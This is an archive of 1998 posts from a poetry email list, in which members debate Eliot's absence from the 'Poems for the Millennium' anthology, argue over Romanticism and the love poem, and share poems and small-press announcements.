> *Yet they publish poems by Pound. I can't figure it out. Pound was an outright fascist at one point yet he gets published in anthology which claims to be a voice of the avant-garde, of the margins, of the ethno-poetics of the native cultures around the world, yet Eliot does not get printed.*

You prefer, then, less outright fascists & anti-Semites, like Eliot?

- db

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

247. Billy Little
Re: MillELIOT:
Thu 9 Jul 1998

read a little eliot, the wasteland is dedicated to pound, il migliore fabbro, the better maker, pound rewrote the wasteland

billy little
4 song st.
nowhere, b.c. V0R1Z0

...like
this - everytime i write a
poem - i'm afraid - when
i'm dead it will sell
& some other poet will
starve because no one will
buy his poems...

d.a. levy

↑ Index

248. Douglas Barbour
Re: Poems for the Millenium....
Thu 9 Jul 1998

An interesting question, but one that seems to miss some points. One of which Gwynn responded to, & I agree with him that it's what IS there that counts, more than what's missing. But I would hazard that the one poem of Eliot's they would have wanted was 'The Wasteland," & that's the one that is most difficyult & expensive to get. I liked the way they handled that problem: remarking on its importance & sending readers to it (those few who didn't already know it almost by heart). Most of the readers who pick up the anthologies will already 'know' Eliot, & especially 'The Wasteland'; many, like me, won't know all the connections to other poetries Joris & Ropthenberg provide. That is one of the superb values of the anthologies, & I'm grateful for them...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> By stress and syllable
> by change-rhyme and contour
> we let the long line pace equal awkward to its period.
>
> The short line
> we refine
> and keep for candor.
>
> Robert Duncan

↑ Index

249. Jordan Davis
list history
Thu 9 Jul 1998

About once a year someone flies onto the list, says it's crazy to read Pound, you all must be evilly out of your minds, where's x, where's y, gets heaped upon by the list, disappears.

I say fleadh. What about Olson, isn't it evilly out of the mind of our times to read this Folsom Cave to now nut? Or Duncan, meadowhead. Perverse! Or Koch or

Schuyler, what do they mean by that tone, those tones? Don't even think of discussing an author born after 1934. Better to put all the old boys away and only read the poetry of young women. Modern poetry begins with Dickinson and ends with Marianne Moore. Postmodern poetry begins with Niedecker and ends with Harryette Mullen. The poetry of young women begins with ...

and then what if the discussion were something other than non-overlapping lists? Imagine a pressure on the subscribers of this list to include a) an original observation on something written in a poem b) a syllogism drawing on two other listmembers' observations c) something political yet non-complicit with the texts of evil (I'm not sure I know what that means but since this is a language-poetry zone I thought I would gesture?) d) blah blah parody blah blah parody e) something anything! besides lists, or hobbyhorses...

or is American poetry really completely empty of thought. At least some poets try not to help you fall asleep...must...stay...awake...

Is for

↑ Index

250. Henry Gould
Re: list history
Thu 9 Jul 1998

You're absolutely on the fleadh there Jordan. You do Carnival, I'll do Lent. And then again: what about Eric Blarnes? Why is he always left out? Of both millennia - I mean, ALL THREE?? Come on! The poet may wear tweed, smoke a pipe & his underwear inside out, but is that any reason? As Robert Duncan wrote somewhere at least twice, and I quote: Anthologize! Anthologize your mother! - Jack Spandrift or somebody

p.s. Eliot actually called Eric last week from the Purgatory Men's Room to complain about not being in enough anthologies - Blarnes said he'd talk to Sylvia about it and give Jack Kerouac's left second-removed uncle Spam a call too just in case there's a case there. Anthologize your cousin Vinnie! hey, and remember: it's Waste Land, The with TWO spaces between!

↑ Index

251. daniel bouchard
list history
Thu 9 Jul 1998

Jordan! Heretic!
Stop. Stop. I did not drag my own mentor beyond this American tree.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

252. Christian Roess
Re: Poems for the Millenium....
Thu 9 Jul 1998

On 8 Jul 1998 CD <cwduff says:

> *I find it very strange that this anthology Poems for the Millenium has not one poem by T.S. Eliot.*

****

I'm going to be a bit sarcastic here CD, so please don't be offended, BUT

You need to be careful. You kind of goofed here in some way. There's a translation by T.S. Eliot in the first volume of a St.-John Perse poem. Is this to be ignored if you feel you must stand by your statement "not one poem by T.S. Eliot?"

Think of it this way. When you first move into a new house in a new neigborhood , how do you get to know the neighbors? Do you first go and ACTUALLY MEET THEM? What kind of effort are you making? Or do you talk to the IN crowd first, the Cool neighbors, to get the scoop?Hey dude, Like what's up with the guy and his family across the street? Is he like from Persia or something? Fill me in. He and his family keep to himself. I said hello and he like turns his back on me. And his kids keep running through my yardl And his two daughters. What's up with them? They COULDN'T have come from the same Womb. No way.

*****

Have you already formed opinions soon after moving in, based on the first person who talks with any kind of authority, followed up with GOSSIP and Hearsay? Or do you only talk to those who welcome you to the neighborhood with a fresh-baked WELCOME pie? Is it like, I mean THEY need to make the effort. I'm new here afterall. And hey if you change your mind I prefer brownies or choclate chip cookies.

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Besides.

All the neighbors agreed. He likes to stir up trouble in the neighborhood just for the sake of causing trouble. Everybody knows THAT. Who could have known he was related to me, however distantly?. I must admit I'm offended by that mailbox he's using. It's sunk into a Bathtub! Does he think this cornball stuff is avant-garde or something? Couldn't he have at least used a bathtub without rust stains on it?I mean come on. I guess I should be grateful he didn't plant flowers in a toilet. And yes, Ok he does trim his bushes frequently. There is a sense of decorum at times.

BUT NOW LOOK! that sign in his yard, he's voting for Leonard Steiner. We don't need to vote someone like that again, if you know what I mean, on to the State Planning Commision. I don't know. I just sensed something was wrong

from the beginning. Department of Plants and Structures maybe, but surely not a STATE commission job. PL-EE-ase.

And those kids of his.Did I mention that already? AHHYYY! So loud. Always cutting through my yard. Couldn't they use the sidewalk? Granted his wife has hands like butter, but I was NEW in town, I didn't know anybody, THEY should have made the effort.

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To give you the benefit of the doubt,CD, maybe you just moved next door and the neighbor IS kind of weird. Like I better stay away, for now. But you would NEVER let too much time pass before making an effort.? Say it isn't so.

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"I think that poetry which is of any value is always revelatory. Not that it reveals or could reveal Everything, but it must reveal something (I would like to say 'Something) and for the first time The confusion of ' must not mean but be ' comes from this : it is a knowledge which is hard to hold, it is held in the poem , a meaning grasped again on re-reading - - One can seldom describe the meaning - - but sometimes one has stumbled on the statement made in another way."

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254. Christian Roess

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Thu 9 Jul 1998

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Still not convinced?

From "The Task of the Translator" by Walter Benjamin:

"…a translation, instead of resembling the meaning of the original, must lovingly and in detail incorporate the original's mode of signification, thus making both the original and the translation recognizable as fragments of a greater language, just as fragments are part of a vessel. For this very reason translation must in large measure refrain from wanting to communicate something, from rendering the sense, and in this the original is important to it only insofar as it has already relieved the translator and his translation of the effort of assembling and expressing what is to be conveyed. In the realm of translation, too, the words [in the beginning was the word] apply. On the other hand, as regards the meaning, the language of a translation can --- in gact, must -- let itself go, so that it gives voice to the intentio of the original not as reproduction but as harmony, as a supplement to the language in which it expresses itself, as its own kind of intentio. Therefore i t is not the highest praise of a translation, particularly in the age of its origin, to say that it reads as if it had originally been written in that language…"

Ok. So you get the point. Or will . And when you do please let me know.

 Those brownies aren't so good. I wish the recipe wasn't secret.That way, Maybe I would know if there was something in them making me ill.

Chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

↑ Index

255. Mark Prejsnar
Listrionics
Thu 9 Jul 1998

Do Language poets define reading Jordon Davis as evil??

(or, vice verse-ahh....?)

Which is the vice? (indeed, whose is the verse?)

Are there actually *signs* warning that this the beginning of a Langpo zone??? (.."Watch out for falling canons!")

Do you avoid the evil of avoidance of complicity in evil by mocking the poetry of young women??

We may never know the answers to these questions....

↑ Index

256. **Mark Prejsnar**
Mentors from the american twig
Thu 9 Jul 1998

Somewhere in the glass canyons of Parapomo, squeaky tribes are stirring resentfully...

↑ Index

257. **Jacques Debrot**
Re: millenium/knife+fork
Thu 9 Jul 1998

Just wanted to observe that the experience of a lot of what is exciting about the Rothenberg + Joris anthology -- the thrill of finding out about the completely unexpected poetry of someone like Yi Sang -- can also be found in Messerli's new magazine -- there is terrific stuff there by contemporary writers like Mayrocker, & Will Alexander, by modernists such as Picasso, Peret, & writers new to me at least like Alexi Kruchenykh (b.1886), etc -- and each selection is accompanied by a concis endnote, particularly helpful given the international scope of the mag. As a continuing, evolving & open-ended project it also avoids the problematic omissions that are inevitable in anthologies -- definitely worth checking out.

↑ Index

258. **Mark Salerno**
Re: galleriess.....P.S.
Thu 9 Jul 1998

To C.D.

YOU GO GIRL! LOPSIDED EVANGELICAL AVANT-GARDEISM SOUNDS A LITTLE LIKE YOU'VE BEEN READING MY MAIL.MAYBE THESE GUYS GOT TOO FAT...LIKE BRECHT SAYS ERST KOMMT DAS FRESSEN DENN KOMMT DIE MORAL (FIRST COMES THE GRUB, THEN COMES THE MORAL)

WHIP EM INTO SHAPE C.D. CAUSE THE REST OF US IS HUNGRY.

M. ANGELINE

↑ Index

259. **Aldon Nielsen**
plea for info.
Thu 9 Jul 1998

My wife, Anna Everett, a film and television scholar, is trying to work out a short trip to New York for research at the Schomburg library. As susal, the only stumbling block at this point is the high cost of NY hotels -- Do any of you New Yorkers know of a clean, safe, not-terribly expensive place? If so, please send info. to

[redacted]

↑ Index

260. **ken|n|ing**
Watten)Schwitters)Eros)Romance)
Thu 9 Jul 1998

Have been reading Barrett Watten's new poem "Bad History" -- and coming across the section, "Erotica", and this brave, new sentence, "Schwitters's debt to the structure of his anxiety is reproduced in the name of Anna Blume." Schwitters's "An Anna Blume" has always held a particular fascination for me, personally, as romantic, erotic, paratactic, and wonderfully ironic. I'm wondering how/if others are reading Watten's book, or Schwitters's poem. I'm wondering, in the face of my own desire to break with the residual tendencies of "Romantic" voice and lyric elitism, how efficacious the love poem can be. What's to be done with it, what's useful? Hope this starts something,

Patrick F. Durgin

|
|
k e n n i n g```````|```
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

↑ Index

261. **Aldon Nielsen**
Orpheus of Highway 101
Thu 9 Jul 1998

While driving into L.A. this morning I heard a familiar voice reciting the poetry of Aime Cesaire -- Turns out Jerome Rothenberg was a guest on Pacifica's morning news hour -- Great to hear discussion of poetry in prime-drive-time among the traffic updates and Lewinski sightings --

For you collectors and completists -- a tape of the show will probably be available from pacifica Archives --

↑ Index

262. **charles alexander**
Burne-Jones Books
Thu 9 Jul 1998

Mot a lot of talk on this list about late Victorian poetry and related arts -- still, I thought I'd pass this one on in case someone in NY wants to go see it.

> *For anyone passing through New York City, there is an interesting show of late nineteenth century art books inserted at the tail-end of the Burne-Jones exhibition at the Metropolitan Museum of Art (running through September 6): 3 works from the Kelmscott Press, two hand-decorated vellum bindings by Burne-Jones, a copy of the Rubayat hand-written and decorated by William Morris, and an Aeneid begun by Morris, Burne-Jones and Charles Fairfax Murray, with gilding completed by Louise Powell and credit for the gilding taken by Graily Hewitt.*

charles

↑ Index

263. **toddbaron**
Re: Laura Moriarty
Thu 9 Jul 1998

---

dear Alice N:

Lauara's address is
926 Jackson st
Albany Ca 94706

Todd Baron (ReMap)

could you send me yrs, too.
I've four diff. ones in Paris alone
and would like to get the new ReMap to you
and D.

thanks

↑ Index

264. **henry**
Re: Watten)Schwitters)Eros)Romance)
Thu 9 Jul 1998

Couldn't disagree more. But I'm tired of playing the spoiler shutter-downer of conversations in an alternate universe. My response: let the intellectuals work out the intellectual boundaries of the self. It's all sub-poetry. This discussion is a-historical in a strictly POETIC HISTORY sense. Forget about the "self". Try to understand what "love" might be. Then you might take a new tack on the love poem. Start with some Montale, for example. And if you call me Elitist, I will call you a Black Shirt. - Henry Gould ----------Original message---------- that Schwitters was writing--from bits and scraps of paper--and really writing--to my mind--about the "self"--evident in the line

> Thou thee thee thine, I thine, thou mine, we?
> That (by the way) is beside the point

and that romantic ideology is really an investigation of the idea of "self"--that Scwitters was amazed by the notion of (him)self and the notion of an art form that negated the central parity as self--is amazing..and yr question, really, it seems, is not what to do with the love poem per se, but what to do with the slef...Love poem as epistolary to the self, really.

and the love poem as "petty bourgeous sentimentality...is made fun of...(Werner Schmalenbach...in response to the immeidate "hit" of the poem's publication)

and that language /the self trying to produce it--gets all messed up--tangled--in love--so that the real drive behind the poem--is language's self--which exists?

"Ich--------liebre------Dir!"

Todd Baron

↑ Index

265. **CD**
Eng/Poetry/899
Thu 9 Jul 1998

> Now children. Let me explain. Tristan Tzara
> was Tristan Tzara. Paul Celan was Paul Celan.
> Paul Celan was a poet. HE was also a translator.
>
> T.S. Eliot was a great great poet. He also
> was a translator. But now, children,
>
> Oh shhh. Be quiet back there. Yes, yes. I know,
>
> Cd made a typo, oh oh how terrible!

The Waste Land.

Millennium.

There we go. yes, children we don't want to fuse those nouns

or adjectives.... Now , children, let me explain.

T.S. Eliot was not St. John Perse.

So the pome[not a typo but an Irishism]

is Not by Mr. Eliot.

However.

I respect Douglas Barbour enough to see that a discourse

could arise out of this polemic.

However on the other hand, this anthology's missing Poet
makes me think that It is
like publishing an Anthology of

North American Poesie and not Including

Irving Layton. OR Gregory Corso. say. Or scores of others.

Of course I admire the anthos Millennium as a whole

But it is a whole with a ver Big Missing Part.

Maybe I am wrong and the absence only Proves How Giant
and gigantic the presence of Eliot's poetry still retains.
O O O that rage that rage 'agin' the great...

of poetasters and small time readers, would be poets

and could a be poets...

Which is what Harold Bloom does in his funny little list

at the back of the Western Canon.

Now BLoom is a critic and makes no claim to be avant-garde,

marginal, or whatever .

But he does, in spite of his great personal distaste

for Eliot include Eliot in his list of books.

I would say generosity would have been in Order

in the anthology edited by Rothenberg and Joris.

In earlier anthologies of Rothenberg Eliot

is represented as he should be.

Well children, you know Poets are always fighting.

yes, its terrible terrible.

yes, I remember when I met that friend of your father's

and Mister Eliot had tea and he spoke so softly

so much that grandma cld. barely hear him

then he recited those last lines about the mermaids

and the waves rolling back

now that was a pleasure.

Yes, a fine one indeed.

End Game.

'Nam Sibyllam quidem Cumis ergo ipse oculis
meis vidi in ampulla pendere et cum illi pueri dicerent....

Hurry Up Please Hurry Up Please

to quote William Burroughs quoting T.S. Eliot.

That Dada Strain. Don't ya just love it.

I do. I love that book.

Sami Rosenstock meets T.S. Eliot.

in 1920 Ithink it was Tzara sent some poetry to Eliot.

Eliot turned it down.

So it goes. Tzara did very well anyhow.

Tzara and Tom.

Two expatriates..

Meet for Tea in Heavenly Poetic Seminar Room

and discuss meters and meaning.

Sagacity, Sagacity, Dada Dada.

He do the Poets in Different Voices.
I like to hear it lap the miles.

The sound of money and poetry makes the world go round.

Ah yes, la poesie et l'argent.

and Love.

Oh . So we read the poetry finally.

↑ Index

266. Dan or Orion

Re: dent your atoll, et al

Thu 9 Jul 1998

Great set of poems (?) from john, allan, ehnry & others. not that this poem ties in, but wanted to get it posted berfore the dark impending weekened.

dan

Roll On (d'eyes d'ice d'yes)

the spot that's covered is not the spot that's revealed--theres always somewhere else
for what you thought you were watching
to momentarily visit,
like getting across the village in a day, like a spider web bigger than my double garage door
variable values roll among the apertures calculating price & availabilityneed has nothing to do with,
how the bait is presented attached loose enough to resemble without escaping
what someone distracted by the market din will think is hookless & satisfying

to connect with every other worm eaten at this moment
consistency is reversed, as are speed and convenience
like come-alongs and pulleys, pierced with pitons so baby can climb to my shoulder,
so we can keep rolling through suburban circuit board searching for that step up
into anesthetic debt, near enough to the hive, far enough from
the queen
keeps our knees sore, our ankles like oft-used drinking straws

rolling our eyes like rigged dice pointing upwards
like snakes in an updraft, snakes flying on capes so gossamer we cannot see them,
cannot imagine our fear so mobile, mobile as earthworms, mobile as rivers
i want to strap on my water moccasins and glide to the other shore

a knotted moon whose phases are fraying, peeling away
like clothes made of corn husks, plantain leaves,
strips of bark
turn our limbs into limbs, feet sinking into earth, worms
drilling toe deltas

roll them bones, cast lots, match sticks,
tune into coincidence, intuit others facial calligraphy,
a poker face, lies geologically deep, as we can tell if
something
unusuals below us
like water or oil or 10 thousand year old space ships, mass graves
full of bones
unlike anything we've pictured living here--
be careful where you dig
all these underground cables, all these native village septic
tanks,
herb -marinated fire-hardened tree trunks jammed down in the earth
like some communications array, a sonic typewriter messages
were danced through
turning this field into a drum, turning this forest
into
a pipe organ

what are the odds of that
like species who die before we know they exist, like 200 year old
people
in monasteries no government can find
you takes your chances you cleans your shoes
as if my alarm clock is altered by the stock market opening,

as if my cars ignition has one arm
i pull to see how soon itll start, how smoothly itll
burn the fuel no one tests anymore

↑ Index

267. **Maria Damon**

Re: Response to Todd Baron and Miekal And

Thu 9 Jul 1998

---

having been away from the list for about 4 days, i'm amazed at the turn of events. i can practically guaranteee that Miekal is not criticizing Alan (am i write, miekal?) and the interjection of "fuck" in this case shd not be taken as a violent gesture of rejectiion but a poeticizing a la lenny bruce's recuperation of

the word. most folks on the list have expressed their admiration for alan;s work again and again, although at times specific work has given rise to compelling controversy. yikes, guyz. chill.

At 10:41 AM -0700 7/7/98, Peter Balestrieri wrote:
> To the List -
>
> A few weeks ago, I posted my frustration over the negative attitude on
> the List towards "innovative," "experimental" or whatever the hell you
> want to call it poetry/writing. Everyone who responded either wanted
> to argue with me over one or two words that I used or dismiss me by
> saying no, a negative attitude doesn't exist. The recent slighting and
> insulting posts by Todd Baron and Miekal And are exactly what I was
> talking about. Their dismissive and rude responses to Alan Sondheim's
> _Dark Secrets_(I wish this wouldn't always happen to Alan. Other
> people are probably too afraid to post their work for fear of being
> ridiculed) are indicative of the lack of recognition on the part of
> some Listees as to the stated purpose of this List. Todd and Miekal:
> have you ever read this - "our aim is to support, inform, and extend
> those directions in poetry that are committed to innovations,
> renovations, and investigations of form and/or/as content, to the
> questioning of received forms and styles, and to the creation of the
> otherwise unimagined, untried, unexpected, improbable, and
> impossible(from the List intro)." Alan Sondheim's work fits this
> criteria exactly. It is your attitudes that are wasting space and are
> out of place here. If people can't feel comfortable posting
> challenging work, fearing glib responses or callous insults, then the
> List, in my opinion, is a failure.
>
> Pete Balestrieri

↑ Index

268. **Simon DeDeo**
Re: Watten)Schwitters)Eros)Romance)
Thu 9 Jul 1998

> *This discussion is a-historical in a strictly POETIC HISTORY sense.*
> *Forget about the "self". Try to understand what "love" might be. Then*

I'm not sure what you mean by "this discussion"; if we're talking about the history of the love poem, it has everything to do with the self. And if we're talking about New Directions for the love poem, then I really can't see how you can ignore what's gone before. Not that you have to stick your thumbs in and skewer yourself on the past, but whatever you come up with after you've "understood

what 'love' might be" is going to have a lot to do with what everybody else has, whether in opposition to or collusion with. Not that, when you sit down to write, you need to run filters and historical analyses on everything that pops into your mind.

In a way, this really doesn't have much to do with politics, so "black shirts" and "elitism" are sort of absurd. Rich writes very "anti-elite" love poetry that still owes most of its debt to Romantic notions of the self, the lover, and so on, albeit with a certain consciousness of the dangers of subject/object. Ginsberg also.

What is the love poem, anyway? If you move it far enough away from the Romantic notions of self, would people still recognize it and respond to it as such? There is the erotic poem, certaintly, but is the love poem merely a codeword for the romantic poem? "He had an idea about the death of love" -- I wonder what the poetry of, say, Sappho, would look like if we didn't have the "Romantics" (in a general sense) between her and us? Look at what Ovid did to her story; will our visions of "sexual" poets look just as skewed later?

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

> *you might take a new tack on the love poem. Start with some Montale, for example. And if you call me Elitist, I will call you a Black Shirt.*
> *- Henry Gould*
> *----------Original message----------*
> *that Schwitters was writing--from bits and scraps of paper--and really writing--to my mind--about the "self"--evident in the line*
>
> > *Thou thee thee thine, I thine, thou mine, we?*
> > *That (by the way) is beside the point*
>
> *and that romantic ideology is really an investigation of the idea of "self"--that Scwitters was amazed by the notion of (him)self and the notion of an art form that negated the central parity as self--is amazing..and yr question, really, it seems, is not what to do with the love poem per se, but what to do with the slef...Love poem as epistolary to the self, really.*
>
> *and the love poem as "petty bourgeous sentimentality...is made fun of...(Werner Schmalenbach...in response to the immeidate "hit" of the poem's publication)*
>
> *and that language /the self trying to produce it--gets all messed up--tangled--in love--so that the real drive behind the poem--is*

> *language's self--which exists?*
>
> *"Ich--------liebre------Dir!"*
>
> *Todd Baron*

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269. **henry**
Re: Watten)Schwitters)Eros)Romance)
Thu 9 Jul 1998

Oh well, we're all going a-historical, we rememeber what the other one forgot, blah blah. "Elite". Dangers of subject / object. Romanticism is a threat in 1998?

Here's something about love, forthcoming in Nedge #6, courtesy of Stuart Blazer, of Provence, which has some tradition in that line:

When you love you have no eyes
is what she said; you just see love.
She didn't leave until he hurt
the baby. Young, oriental, scarred,
adopted since five, living now in France.
We wait for the bus, passing time.

Almost beautiful. I'm a fool for it each time.
Even blind, ears would be my eyes.
It's not just Europe, though granted, it is France.
Whose gestalt makes love
evident: its signs and scars,
proof that too much pleasure hurts.

A black belt and still she let him hurt
her. Love, she called it at the time,
so completely scarred
I'm forced to turn my eyes
though who am I to question what they meant by love?
Might as well read de Sade or Anatole France...

Not only the cooking is mouth-watering in France;
hot enough to burn the tongue or at least hurt
you into wanting more, love
here is a way of living time.
Its forms tease and please the eyes
leaving them finally sated, scarred.

Betrayed, disfigured, bruised, scarred
in existential oriental France
where it's a festival of talk with lips and eyes
that keeps on until the whole body hurts,
a kind of tatouage, skin pierced by time
displaying our own and others' love.

Disease and remedy, love
polishes its golden silver scars
brightening our passage through time,
French but not confined to France
it radiates as from a sun a hurt
so essential we both offer then shield our eyes.

When you love you have no eyes
is what she said; you just see love.
"And we came out once more to see the scars."

- Stuart Blazer
Aix-en-Provence
June, 1998

↑ Index

270. **Simon DeDeo**

Re: Watten)Schwitters)Eros)Romance)

Thu 9 Jul 1998

> *Oh well, we're all going a-historical, we rememeber what the other one forgot, blah blah. "Elite". Dangers of subject / object. Romanticism is a threat in 1998?*

Romanticism as a reaction to the conditions of 1998
is certaintly a threat -- a retreat into the self.
In the poem you've transcribed for us, it's almost
insidious, since it masqurades a pretty self indulgent
string of cliches as empathy for the characters
involved. This, despite what you might think, is
not a political question. Except on my more liberal
guilty days, I honestly don't give a fuck about the
woman

Young, oriental, scarred,
adopted since five, living now in France.

The problem is, neither does the poet.

What the original question was on about was questions
of form, which do, of course, always bleed into questions
of subject (part of Todd's point, I believe.) Here the
language is as dull as the narrator.

↑ Index

271. **henry**
Re: Watten)Schwitters)Eros)Romance)
Thu 9 Jul 1998

On Thu, 9 Jul 1998 20:02:02 -0400 Simon DeDeo said:
>
>Romanticism as a reaction to the conditions of 1998
>is certaintly a threat -- a retreat into the self.
>In the poem you've transcribed for us, it's almost
>insidious, since it masqurades a pretty self indulgent
>string of cliches as empathy for the characters
>involved. This, despite what you might think, is
>not a political question. Except on my more liberal
>guilty days, I honestly don't give a fuck about the
>woman
>
> Young, oriental, scarred,
>adopted since five, living now in France.
>
>The problem is, neither does the poet.

Well, Simon, if you don't give a fuck then you won't get much about love, I guess. But you ought to speak for yourself. The whole poem is built around a perception brought on by a dialogue with this woman at the bus stop. Maybe you wouldn't have allowed yourself to indulge your self in such self interaction with another self; more's the pity. - Henry G

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272. **toddbaron**
Re: Watten)Schwitters)Eros)Romance)
Thu 9 Jul 1998

---

that Schwitters was writing--from bits and scraps of paper--and really writing--to my mind--about the "self"--evident in the line

> Thou thee thee thine, I thine, thou mine, we?
> That (by the way) is beside the point

and that romantic ideology is really an investigation of the idea of "self"--that Scwitters was amazed by the notion of (him)self and the notion of an art form that negated the central parity as self--is amazing..and yr question, really, it seems, is not what to do with the love poem per se, but what to do with the slef...Love poem as epistolary to the self, really.

and the love poem as "petty bourgeous sentimentality...is made fun of...(Werner Schmalenbach...in response to the immeidate "hit" of the poem's publication)

and that language /the self trying to produce it--gets all messed up--tangled--in love--so that the real drive behind the poem--is language's self--which exists?

"Ich--------liebre------Dir!"

Todd Baron

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273. **toddbaron**
Re: Orpheus of Highway 101
Thu 9 Jul 1998

---

nice reminder.

thanks. and remember--
the voice of
the world of private
language is the voice
of that radio that speaks

ReMap ReadersAldon Nielsen wrote:
>
> While driving into L.A. this morning I heard a familiar voice reciting the
> poetry of Aime Cesaire -- Turns out Jerome Rothenberg was a guest on
> Pacifica's morning news hour -- Great to hear discussion of poetry in
> prime-drive-time among the traffic updates and Lewinski sightings --
>
> For you collectors and completists -- a tape of the show will probably be
> available from pacifica Archives --

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274. **Simon DeDeo**
Re: Watten)Schwitters)Eros)Romance)
Thu 9 Jul 1998

> *I honestly don't give a fuck about the woman*

> *Young, oriental, scarred,*
> *adopted since five, living now in France.*
>
> *The problem is, neither does the poet.*
>
> *Well, Simon, if you don't give a fuck then you won't get much about love, I guess. But you ought to speak for yourself. The whole poem is built around a perception brought on by a dialogue with this woman at the bus stop.*

Wonderful; fireworks explode in my brain with the revelation that this poem is about LOVE. Really, it was quite a shocker. And now that I know that the poet *actually met* the woman in question, I'm even more amazed and convinced that this is a good poem.

Sarcasm aside. My point, which you really haven't responded to, is that the poem is a catalogue of cliche strung together by wretchedly boring prose. I'm sure the subject matter is important; that doesn't make it any less worthy of being ignored. Where is the attention to language? Where is the sensation that this guy has done anything more than throw the first and completely uninteresting string of metaphors down on the page?

And I will certainly speak for myself. I'm sure the actual Stuart Blazer is a wonderful guy, really friendly, kind to animals and head of the local chapter of domestic abuse survivors. But if this is what he writes, then he should stick to writing newspaper columns for his friends back home who would be alternately shocked, upset and titilated by the stories he can tell. Not poetry.

I'm just missing the aesthetic experience of appriciating the poem here, Henry, is the problem. It's reportage dressed up a little and with linebreaks. Perhaps this exhange should end here, since it's hard to argue someone into an aesthetic position; you think I'm a philistine or a brute, I have my own opinions about your taste.

> *Maybe you wouldn't have allowed yourself to indulge*
> *your self in such self interaction with another self; more's the pity.*

Easy there.

As long as we're dragging out romantic love poetry. Here's a Rich poem -- I had hoped to find her sequence 21 love poems, but it's not with me right now. This is, for me at least, a brilliantly delicate love poem -- perhaps too delicate; the sensation comes to you almost as you finish, or reread. It's not a poem ABOUT LOVE HERE I AM A POET AND I'M TALKING ABOUT LOVE, SENSITIVE PEOPLE, LISTEN UP; but it is a love poem.

IN A CLASSROOM

Talking of poetry, hauling the books
arm-full to the table where the heads
bend or gaze upward, listening, reading aloud,
talking of consonants, elision,
caught in the how, oblivious of why:
I look in your face, Jude,
neither frowning nor nodding,
opaque in the slant of dust-motes over the table:
a presence like a stone, if a stone were thinking
What I cannot say, is me. For that I came.

(1986)

- Simon

http://www.fas.harvard.edu/~sdedeo
[redacted]

↑ Index

275. **charles alexander**
Re: Watten)Schwitters)Eros)Romance)
Thu 9 Jul 1998

> *Romanticism as a reaction to the conditions of 1998*
> *is certaintly a threat -- a retreat into the self.*

I realize that the kind of transcendence espoused in Romanticism has been questioned, doubted, exposed, even ridiculed. But even so, some kind of transcendence was indeed the aim of Wordsworth, Keats, et al -- so I don't think it's quite fair to equate Romanticism with "a retreat intl the self" -- could you explain why you see it as such?

charles

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276. **Gwyn McVay**
Re: Poems for the Millenium....
Thu 9 Jul 1998

"An interesting question, but one that seems to miss some points. One of which Gwynn responded to, & I agree with him"

<DENIRO>You talkin' to me? Huh? You talkin' to me?</DENIRO> If you mean me, with one n, I am a "her." But I'll take the agreement anyway.

bests, Gwyn "XX" McVay

↑ Index

277. **Simon DeDeo**

Re: Watten)Schwitters)Eros)Romance)

Thu 9 Jul 1998

> *Romanticism as a reaction to the conditions of 1998*
> *is certainly a threat -- a retreat into the self.*
>
> *I realize that the kind of transcendence espoused in Romanticism has been questioned, doubted, exposed, even ridiculed. But even so, some kind of transcendence was indeed the aim of Wordsworth, Keats, et al -- so I don't think it's quite fair to equate Romanticism with "a retreat intl the self" -- could you explain why you see it as such?*

When I used the phrase "retreat into the self", I was thinking more of successors to Romanticism, where the poet walls off the outside world and passes judgement without empathy; adopts a seemingly superior voice that is usually just self-centered. The Romantics themselves, however, did move inwards and develop the lyric into a means of creating and developing a "self"; I wouldn't call it a retreat, but it is a movement directed towards a self.

For the Romantics, transcendence came from an examination of the self as an aspect of God -- "self" and "God" taken very loosly, of course. But always a looking inwards and a creation of a voice, an "I" that is observing, developing and changing as it comes into contact with the outside world -- which may a step down or step up. Wordsworth is an excellent example -- the _Prelude_ is a "poetic autobiography" with a number of transcendent moments. The self he creates is certaintly not Wordsworth in the way the I in Lowell's _History_ poems are Lowell; Wordsworth doesn't even mention his parents, although he spends a number of chapters on his childhood.

The transcendence is of the body and the contingencies of the world; the Romantic eye looks upon the poet and sees a core that is, essentially, the poet's muse -- look at Keats' Ode to a Nightingale -- he hardly even sees the bird before it's become something that exists to define and understand his own body/soul. Far different from, say, a moment

in Pound, where physical beauty is more concrete, less tractable for those trying to find a "little man" behind the screen of invention.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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278. Alan J.J.N. Sondheim
The Oldest English Text
Fri 10 Jul 1998

-

The Oldest English Text

(From The Oldest English Texts, Henry Sweet, The Early English Text Society, 1885, reprinted Oxford, 1966)

On the Thames Knife, 400-500 AD:

Beagnoth

Note that 'th' is the letter _thorn._ Beag, crown, ring.

Inscription from Sandwich, Kent, 428-597 AD:

Raehaebul

(Proper name?)

↑ Index

279. J. Kuszai
Meow Press is Moving!
Fri 10 Jul 1998

Meow Press is Moving!

At the end of July, Meow Press will go into boxes and will be moved across the country to San Diego, California. The ambitious publishing season announced some weeks ago is ongoing and is shockingly on schedule for the most part. There should be only a two to four week disruption in printing, assembly, and shipping of pure-poetry product.

Thanks to those of you who have ordered books from me and those who have contributed to this project in the last few weeks. You subscribers, my people, will be taken care of in the next world (ex-post-Buffalo) which will see many expansions of Meow, into "real" books and also CDs. My name is Santa and I live on the second floor...another flurry of packages headed out this weekend...so if you're waiting for something from me expect it this week.

Orders for backlist items will be accepted for another two weeks or so. After I move, all bets are off on full-sets and a great deal of the backlist, as I am not sure I will have materials with me to keep those books in print. BUY NOW! SPD has more of the books than I do!

The Meow Press address in Buffalo will remain open for another year, though I will supply a local California address within a week or two. This email and the meow web address will remain active.

The Fall98 publishing season will see work by Caroline Bergvall, David Bromige, Jackson Mac Low, among others.

checkout the website for more information on forthcoming books:
[updated recently]
